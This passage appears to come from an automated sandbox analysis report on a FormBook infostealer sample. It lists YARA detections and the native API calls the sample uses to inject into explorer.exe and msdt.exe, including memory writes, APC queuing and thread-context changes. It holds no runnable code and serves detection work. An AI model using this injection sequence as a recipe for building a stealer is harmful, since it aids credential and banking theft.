          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A2361 GetProcessHeap,HeapAlloc,CreateStreamOnHGlobal,OpenClipboard,GetLastError,EmptyClipboard,GetHGlobalFromStream,SetClipboardData,CloseClipboard,GetProcessHeap,HeapFree,6_2_008A2361
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008A2361 GetProcessHeap,HeapAlloc,CreateStreamOnHGlobal,OpenClipboard,GetLastError,EmptyClipboard,GetHGlobalFromStream,SetClipboardData,CloseClipboard,GetProcessHeap,HeapFree,6_2_008A2361

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.mQY9ka5sW6hv2Ri.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000005.00000002.4103236234.000000000FBD4000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000006.00000002.4091352522.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000006.00000002.4091996606.0000000004650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000006.00000002.4091719375.0000000002E20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.1660916542.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: mQY9ka5sW6hv2Ri.exe PID: 6912, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: mQY9ka5sW6hv2Ri.exe PID: 2676, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: msdt.exe PID: 6956, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A360 NtCreateFile,4_2_0041A360
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A410 NtReadFile,4_2_0041A410
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A490 NtClose,4_2_0041A490
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A540 NtAllocateVirtualMemory,4_2_0041A540
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A40A NtReadFile,4_2_0041A40A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A48C NtClose,4_2_0041A48C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041A53D NtAllocateVirtualMemory,4_2_0041A53D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2B60 NtClose,LdrInitializeThunk,4_2_011D2B60
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_011D2BF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2AD0 NtReadFile,LdrInitializeThunk,4_2_011D2AD0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_011D2D10
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2D30 NtUnmapViewOfSection,LdrInitializeThunk,4_2_011D2D30
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2DD0 NtDelayExecution,LdrInitializeThunk,4_2_011D2DD0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_011D2DF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_011D2C70
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_011D2CA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2F30 NtCreateSection,LdrInitializeThunk,4_2_011D2F30
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2F90 NtProtectVirtualMemory,LdrInitializeThunk,4_2_011D2F90
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2FB0 NtResumeThread,LdrInitializeThunk,4_2_011D2FB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2FE0 NtCreateFile,LdrInitializeThunk,4_2_011D2FE0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2E80 NtReadVirtualMemory,LdrInitializeThunk,4_2_011D2E80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,4_2_011D2EA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D4340 NtSetContextThread,4_2_011D4340
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D4650 NtSuspendThread,4_2_011D4650
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2B80 NtQueryInformationFile,4_2_011D2B80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2BA0 NtEnumerateValueKey,4_2_011D2BA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2BE0 NtQueryValueKey,4_2_011D2BE0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2AB0 NtWaitForSingleObject,4_2_011D2AB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2AF0 NtWriteFile,4_2_011D2AF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2D00 NtSetInformationFile,4_2_011D2D00
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2DB0 NtEnumerateKey,4_2_011D2DB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2C00 NtQueryInformationProcess,4_2_011D2C00
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2C60 NtCreateKey,4_2_011D2C60
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2CC0 NtQueryVirtualMemory,4_2_011D2CC0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2CF0 NtOpenProcess,4_2_011D2CF0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2F60 NtCreateProcessEx,4_2_011D2F60
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2FA0 NtQuerySection,4_2_011D2FA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2E30 NtWriteVirtualMemory,4_2_011D2E30
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D2EE0 NtQueueApcThread,4_2_011D2EE0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D3010 NtOpenDirectoryObject,4_2_011D3010
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D3090 NtSetValueKey,4_2_011D3090
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D35C0 NtCreateMutant,4_2_011D35C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D39B0 NtGetContextThread,4_2_011D39B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D3D10 NtOpenProcessToken,4_2_011D3D10
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D3D70 NtOpenThread,4_2_011D3D70
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBC232 NtCreateFile,5_2_0FBBC232
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBDE12 NtProtectVirtualMemory,5_2_0FBBDE12
          Source: C:\Windows\explorer.exeCode function: 5_2_0FBBDE0A NtProtectVirtualMemory,5_2_0FBBDE0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B1CBD NtOpenThreadToken,NtOpenProcessToken,NtQueryInformationToken,NtClose,6_2_008B1CBD
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_008B1C50 NtQueryInformationToken,NtQueryInformationToken,6_2_008B1C50
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82CA0 NtQueryInformationToken,LdrInitializeThunk,6_2_04A82CA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82C60 NtCreateKey,LdrInitializeThunk,6_2_04A82C60
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82C70 NtFreeVirtualMemory,LdrInitializeThunk,6_2_04A82C70
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82DF0 NtQuerySystemInformation,LdrInitializeThunk,6_2_04A82DF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82DD0 NtDelayExecution,LdrInitializeThunk,6_2_04A82DD0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82D10 NtMapViewOfSection,LdrInitializeThunk,6_2_04A82D10
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,6_2_04A82EA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82FE0 NtCreateFile,LdrInitializeThunk,6_2_04A82FE0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82F30 NtCreateSection,LdrInitializeThunk,6_2_04A82F30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82AD0 NtReadFile,LdrInitializeThunk,6_2_04A82AD0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82BE0 NtQueryValueKey,LdrInitializeThunk,6_2_04A82BE0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82BF0 NtAllocateVirtualMemory,LdrInitializeThunk,6_2_04A82BF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82B60 NtClose,LdrInitializeThunk,6_2_04A82B60
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A835C0 NtCreateMutant,LdrInitializeThunk,6_2_04A835C0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A84650 NtSuspendThread,6_2_04A84650
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A84340 NtSetContextThread,6_2_04A84340
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82CF0 NtOpenProcess,6_2_04A82CF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82CC0 NtQueryVirtualMemory,6_2_04A82CC0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82C00 NtQueryInformationProcess,6_2_04A82C00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82DB0 NtEnumerateKey,6_2_04A82DB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82D30 NtUnmapViewOfSection,6_2_04A82D30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82D00 NtSetInformationFile,6_2_04A82D00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82E80 NtReadVirtualMemory,6_2_04A82E80
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82EE0 NtQueueApcThread,6_2_04A82EE0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82E30 NtWriteVirtualMemory,6_2_04A82E30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82FA0 NtQuerySection,6_2_04A82FA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82FB0 NtResumeThread,6_2_04A82FB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82F90 NtProtectVirtualMemory,6_2_04A82F90
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82F60 NtCreateProcessEx,6_2_04A82F60
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82AB0 NtWaitForSingleObject,6_2_04A82AB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82AF0 NtWriteFile,6_2_04A82AF0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82BA0 NtEnumerateValueKey,6_2_04A82BA0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A82B80 NtQueryInformationFile,6_2_04A82B80
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A83090 NtSetValueKey,6_2_04A83090
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A83010 NtOpenDirectoryObject,6_2_04A83010
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A83D10 NtOpenProcessToken,6_2_04A83D10
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A83D70 NtOpenThread,6_2_04A83D70
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04A839B0 NtGetContextThread,6_2_04A839B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A360 NtCreateFile,6_2_0081A360
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A490 NtClose,6_2_0081A490
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A410 NtReadFile,6_2_0081A410
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A540 NtAllocateVirtualMemory,6_2_0081A540
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A48C NtClose,6_2_0081A48C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A40A NtReadFile,6_2_0081A40A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0081A53D NtAllocateVirtualMemory,6_2_0081A53D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0475A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,RtlQueueApcWow64Thread,NtResumeThread,6_2_0475A036
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04759BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,6_2_04759BAF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_0475A042 NtQueryInformationProcess,6_2_0475A042
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 6_2_04759BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,6_2_04759BB2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_010640710_2_01064071
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_010600400_2_01060040
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_010660480_2_01066048
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_010606100_2_01060610
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_02B263D80_2_02B263D8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_02B263C80_2_02B263C8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0792E0D00_2_0792E0D0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0792E7800_2_0792E780
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0792B9880_2_0792B988
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_079463AF0_2_079463AF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_079463E80_2_079463E8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0794E1C80_2_0794E1C8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0794DD900_2_0794DD90
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 0_2_0794D9380_2_0794D938
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_004010304_2_00401030
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041E1404_2_0041E140
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_004012FB4_2_004012FB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041ECC14_2_0041ECC1
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041DDC24_2_0041DDC2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00402D874_2_00402D87
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00402D904_2_00402D90
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041D5A64_2_0041D5A6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00409E604_2_00409E60
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0041EEF44_2_0041EEF4
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_00402FB04_2_00402FB0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011901004_2_01190100
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123A1184_2_0123A118
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012281584_2_01228158
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012541A24_2_012541A2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012601AA4_2_012601AA
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012581CC4_2_012581CC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012320004_2_01232000
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125A3524_2_0125A352
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012603E64_2_012603E6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AE3F04_2_011AE3F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012402744_2_01240274
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012202C04_2_012202C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A05354_2_011A0535
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012605914_2_01260591
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012444204_2_01244420
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012524464_2_01252446
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124E4F64_2_0124E4F6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C47504_2_011C4750
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A07704_2_011A0770
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119C7C04_2_0119C7C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011BC6E04_2_011BC6E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B69624_2_011B6962
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0126A9A64_2_0126A9A6
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A29A04_2_011A29A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A28404_2_011A2840
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AA8404_2_011AA840
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011868B84_2_011868B8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011CE8F04_2_011CE8F0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125AB404_2_0125AB40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01256BD74_2_01256BD7
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119EA804_2_0119EA80
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AAD004_2_011AAD00
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0123CD1F4_2_0123CD1F
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B8DBF4_2_011B8DBF
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0119ADE04_2_0119ADE0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0C004_2_011A0C00
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01240CB54_2_01240CB5
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01190CF24_2_01190CF2
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01242F304_2_01242F30
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011C0F304_2_011C0F30
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011E2F284_2_011E2F28
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01214F404_2_01214F40
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0121EFA04_2_0121EFA0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_01192FC84_2_01192FC8
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125EE264_2_0125EE26
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A0E594_2_011A0E59
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011B2E904_2_011B2E90
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125CE934_2_0125CE93
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125EEDB4_2_0125EEDB
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0126B16B4_2_0126B16B
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118F1724_2_0118F172
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011D516C4_2_011D516C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011AB1B04_2_011AB1B0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125F0E04_2_0125F0E0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012570E94_2_012570E9
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A70C04_2_011A70C0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0124F0CC4_2_0124F0CC
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0125132D4_2_0125132D
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_0118D34C4_2_0118D34C
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011E739A4_2_011E739A
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_011A52A04_2_011A52A0
          Source: C:\Users\user\Desktop\mQY9ka5sW6hv2Ri.exeCode function: 4_2_012412ED4_2_012412ED
